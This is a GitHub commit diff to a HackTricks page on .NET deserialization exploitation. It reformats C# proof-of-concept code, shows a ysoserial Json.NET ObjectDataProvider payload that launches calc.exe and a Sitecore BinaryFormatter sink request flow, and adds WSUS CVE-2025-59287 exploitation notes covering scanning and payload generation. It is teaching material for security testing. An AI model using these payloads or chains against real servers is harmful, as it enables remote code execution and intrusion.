Skip to content

Commit 295fc65

Browse files
authored
Merge pull request #1531 from HackTricks-wiki/update_Microsoft_WSUS_Remote_Code_Execution__CVE-2025-592_20251028_011817
Microsoft WSUS Remote Code Execution (CVE-2025-59287) Active...
2 parents 552cc55 + c9decbf commit 295fc65

File tree

1 file changed

+50
-14
lines changed

1 file changed

+50
-14
lines changed

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

Lines changed: 50 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,10 @@ Note that this isn't the complete code of the function `QueryWorker` but it show
3434

3535
If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code:
3636

37-
```java
37+
<details>
38+
<summary>C# demo: ObjectDataProvider triggers Process.Start</summary>
39+
40+
```csharp
3841
using System.Windows.Data;
3942
using System.Diagnostics;
4043

@@ -54,6 +57,8 @@ namespace ODPCustomSerialExample
5457
}
5558
```
5659

60+
</details>
61+
5762
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
5863

5964
## ExpandedWrapper
@@ -65,7 +70,10 @@ This is very useful for cases as the one presented before, because we will be ab
6570

6671
You can check this wrapper with the following code:
6772

68-
```java
73+
<details>
74+
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
75+
76+
```csharp
6977
using System.Windows.Data;
7078
using System.Diagnostics;
7179
using System.Data.Services.Internal;
@@ -87,6 +95,8 @@ namespace ODPCustomSerialExample
8795
}
8896
```
8997

98+
</details>
99+
90100
## Json.Net
91101

92102
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
@@ -95,7 +105,10 @@ In the [official web page](https://www.newtonsoft.com/json) it is indicated that
95105

96106
First of all lets see an example on how to **serialize/deserialize** an object using this library:
97107

98-
```java
108+
<details>
109+
<summary>C# demo: Json.NET serialize/deserialize</summary>
110+
111+
```csharp
99112
using System;
100113
using Newtonsoft.Json;
101114
using System.Diagnostics;
@@ -138,11 +151,13 @@ namespace DeserializationTests
138151
}
139152
```
140153

154+
</details>
155+
141156
### Abusing Json.Net
142157

143158
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
144159

145-
```java
160+
```text
146161
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
147162
{
148163
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
@@ -157,7 +172,10 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
157172

158173
In this code you can **test the exploit**, just run it and you will see that a calc is executed:
159174

160-
```java
175+
<details>
176+
<summary>C# demo: Json.NET ObjectDataProvider exploitation PoC</summary>
177+
178+
```csharp
161179
using System;
162180
using System.Text;
163181
using Newtonsoft.Json;
@@ -194,6 +212,8 @@ namespace DeserializationTests
194212
}
195213
```
196214

215+
</details>
216+
197217
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
198218

199219
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.
@@ -230,22 +250,17 @@ msbuild ysonet.sln -p:Configuration=Release
230250

231251
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
232252

233-
### Detection & Hardening
234-
* **Detect** unexpected child processes of `w3wp.exe`, `PowerShell.exe`, or any process deserialising user-supplied data (e.g. `MessagePack`, `Json.NET`).
235-
* Enable and **enforce type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) whenever the legacy `BinaryFormatter` / `NetDataContractSerializer` cannot be removed.
236-
* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters.
237-
* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them.
238-
239253
## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
240254

241255
A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:
242256

243257
- Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`.
244258
- Trigger path: pipeline `convertToRuntimeHtml``ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64‐encoded serialized data. The result is cast to string and inserted into the HTML.
245259

246-
Minimal end‑to‑end (authenticated):
260+
<details>
261+
<summary>Authenticated Sitecore sink trigger HTTP flow</summary>
247262

248-
```
263+
```text
249264
// Load HTML into EditHtml session
250265
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
251266
Content-Type: application/x-www-form-urlencoded
@@ -260,6 +275,8 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
260275
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
261276
```
262277

278+
</details>
279+
263280
- Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads.
264281

265282
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
@@ -268,10 +285,29 @@ For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore an
268285
../../network-services-pentesting/pentesting-web/sitecore/README.md
269286
{{#endref}}
270287

288+
## Case study: WSUS unsafe .NET deserialization (CVE-2025-59287)
289+
290+
- Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
291+
- Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
292+
- Root cause: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
293+
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
294+
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
295+
- Impact: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).
296+
297+
Practical exploitation notes
298+
- Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads.
299+
- Payloads: Use YSoNet/ysoserial.net to generate `BinaryFormatter` or `SoapFormatter` chains (e.g., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
300+
- Expected process lineage on success:
301+
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
302+
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
303+
271304
## References
272305
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
273306
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
274307
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
275308
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
309+
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
310+
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
311+
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
276312

277-
{{#include ../../banners/hacktricks-training.md}}
313+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)